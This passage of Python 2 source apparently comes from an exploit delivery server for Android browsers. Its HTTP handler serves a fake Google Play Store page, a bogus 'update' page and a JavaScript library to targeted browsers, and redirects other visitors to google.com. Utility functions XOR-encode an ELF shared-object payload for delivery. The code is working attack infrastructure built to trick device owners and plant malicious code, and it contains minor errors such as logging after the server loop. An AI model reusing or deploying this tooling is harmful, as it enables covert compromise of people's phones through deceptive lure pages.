                    logging.debug('Update page for exploit {} not generated yet'.format(exploit_id))
                    self.send_initial_redirect()
                    return
                    
                logging.debug('Sending update page')
                self.send_response(200)
                self.send_header('Content-type', 'text/html')
                self.end_headers()
                self.wfile.write(update_page)
                LOG['ask_update_time'] = time.ctime()

                current_exploit.update_html_served = True
                

            # flag written in browser cache, same for each exploit
            elif re.match('^/fetch_update.cfm$', path) != None: 
                                
                logging.debug('Sending fetch_update page')
                self.send_response(200)
                self.send_header('Content-type', 'text/html')
                self.end_headers()
                self.wfile.write( Exploit.generate_fetch_update_page() )
                LOG['cache_key_time'] = time.ctime()
                

            # requests common to all the in_target browsers

            elif path == '/fp.png':
                data = open('fp.png', 'r').read()
                logging.debug('Sending fp.png')
                self.send_response(200)
                self.send_header('Content-type', 'image/png')
                self.end_headers()
                self.wfile.write(data)
                
            elif path == '/js_lib.js':
                data = open('tea_compressed.js', 'r').read()
                logging.debug('Sending tea_compressed.js')
                self.send_response(200)
                self.send_header('Content-type', 'application/javascript')
                self.end_headers()
                self.wfile.write(data)
            


            # Start fake play store pages

            elif path == '/play_css_ltr.css':
                data = open('play/play_css_ltr.css').read()
                self.send_response(200)
                self.send_header('Content-type', 'text/css')
                self.end_headers()
                self.wfile.write(data)

            elif path == '/play_logo.png':
                data = open('play/play_logo.png').read()
                self.send_response(200)
                self.send_header('Content-type', 'image/png')
                self.end_headers()
                self.wfile.write(data)
                
            elif path == '/app-header-stripes.gif':
                data = open('play/app-header-stripes.gif').read()
                self.send_response(200)
                self.send_header('Content-type', 'image/gif')
                self.end_headers()
                self.wfile.write(data)
                
            elif path == '/icon.png':
                data = open('play/icon.png').read()
                self.send_response(200)
                self.send_header('Content-type', 'image/png')
                self.end_headers()
                self.wfile.write(data)

            elif path == '/bg.jpg':
                data = open('play/bg.jpg').read()
                self.send_response(200)
                self.send_header('Content-type', 'image/jpeg')
                self.end_headers()
                self.wfile.write(data)

            elif path == '/chart.png':
                data = open('play/chart.png').read()
                self.send_response(200)
                self.send_header('Content-type', 'image/png')
                self.end_headers()
                self.wfile.write(data)

            elif path == '/screenshot_1.png':
                data = open('play/screenshot_1.png').read()
                self.send_response(200)
                self.send_header('Content-type', 'image/png')
                self.end_headers()
                self.wfile.write(data)
            # End fake play store pages


            else:
                logging.debug('Wrong path {}'.format(path))
                self.send_initial_redirect()
                return



 

    
    def send_initial_redirect(self):
        self.send_response(302)
        self.send_header("Location", 'http://google.com')
        self.end_headers()
        
        logging.debug('Initial Redirect: {}'.format(time.ctime()) )
        LOG['initial_redirect_time'] = time.ctime()
        
    


    def send_empty_reply(self):
        self.send_response(200)
        self.end_headers()
        
        redirect_page = '''

function s_avea_messi_dinanzi_da_la_fronte() {
  document.location = "https://play.google.com/store";
}

'''

        self.wfile.write(redirect_page)
        logging.debug('Empty reply: {}'.format(time.ctime()) )
        LOG['empty_reply_time'] = time.ctime()


        exploit.bail()
        exploit.report()



# utility methods
def xor(payload, xor_key):

    file_size = 0

    out = ''

    key = int(xor_key, 16)
    key = struct.unpack("<I", struct.pack(">I", key))[0]

    with open(payload, 'rb') as data:

        for block in iter(lambda: data.read(4), ""):

            if len(block) == 4:
                result = struct.unpack('>I', block)[0] ^ key
                out += struct.pack('>I',result)

                file_size += 4

            # last block
            else:
                file_size += len(block)

                key_tuple = struct.unpack("<BBBB", struct.pack('>I', key))

                block_fmt = 'B' * len(block)
                block_tuple = struct.unpack('>' + block_fmt, block)

                i=3
                j=0
                for c in block_tuple:
                    out += struct.pack('>B', c ^ key_tuple[j]) 
                    i-=1
                    j+=1

    return out, file_size


def xor_buffer(payload, xor_key):

    out = []
    key = [int(xor_key[i:i+2],16) for i in range(0, len(xor_key)-1, 2)]
    
    i = 0
    while( i < len(payload) ):

        block = payload[i:i+4]
    
        block[0] ^= key[3]
        block[1] ^= key[2]
        block[2] ^= key[1]
        block[3] ^= key[0]
        
        out[i:i+4] = block

        i+=4
    
    return out

def fmt_short(short):
    return '\u' + hex(socket.ntohs(int(short)))[2:]


# end of utility methods

def usage(script_name):
    print 'usage {} server_ip server_port shared_object key_01234567'.format(script_name)
    print '\te.g. {} 192.168.69.131 80 shared_object 91234569'.format(script_name)
  


if __name__ == '__main__':


    LOG['command_line'] = ' '.join(sys.argv[:])
    
   
    # a] parameters validation
    # try:
    #     # 1] server ip
    #     if len(sys.argv) != 5:
    #         raise Exception('Not enough arguments')


    #     octects = sys.argv[1].split('.')
    #     if not ( len(octects) == 4 and all(0 <= int(o) < 256 for o in octects)):
    #         raise Exception('Wrong server ip')


    #     # TODO: check an interface with such ip actually exists

    #     server_ip           = sys.argv[1]

    #     # 2] server port 
    #     if( int(sys.argv[2]) < 0 or int(sys.argv[2]) > 65535 ):
    #         raise Exception('Invalid port number')
    #     server_port         = sys.argv[2]
        

    #     # 3] shared object
    #     try:
    #         # TODO: might want to check that there's an export called 'start'
    #         fd = open(sys.argv[3])
    #         fd.seek(1)
    #         if fd.read(3) != 'ELF':
    #             raise Exception('File {} is not an ELF binary'.format(sys.argv[3]))

    #     except IOError:
    #         raise Exception('Shared object "{}" not found'.format(sys.argv[3]))

    #     shared_object       = sys.argv[3]


    #     # 4] xor key
    #     int(sys.argv[4])
    #     if len(sys.argv[4]) != 8:
    #         raise Exception('Wrong XOR key {}'.format(sys.argv[4]))

    #     xor_key = sys.argv[4]


            
    # except Exception , e:
    #     logging.critical(e)
    #     usage(sys.argv[0])
    #     sys.exit(1);


    # # b] parameters validated, launch exploit

    # final_executable, file_size = xor(shared_object, xor_key)

    # exploit = Exploit( server_ip,
    #                    server_port,
    #                    xor_key,
    #                    file_size,
    #                    final_executable,
    #                    None )

    #exploit.launch()

    httpServer = BaseHTTPServer.HTTPServer( ('', 80), ExploitHTTPHandler )
    httpServer.serve_forever()
    logging.info('Starting HTTP server on port {}'.format(self.server_port))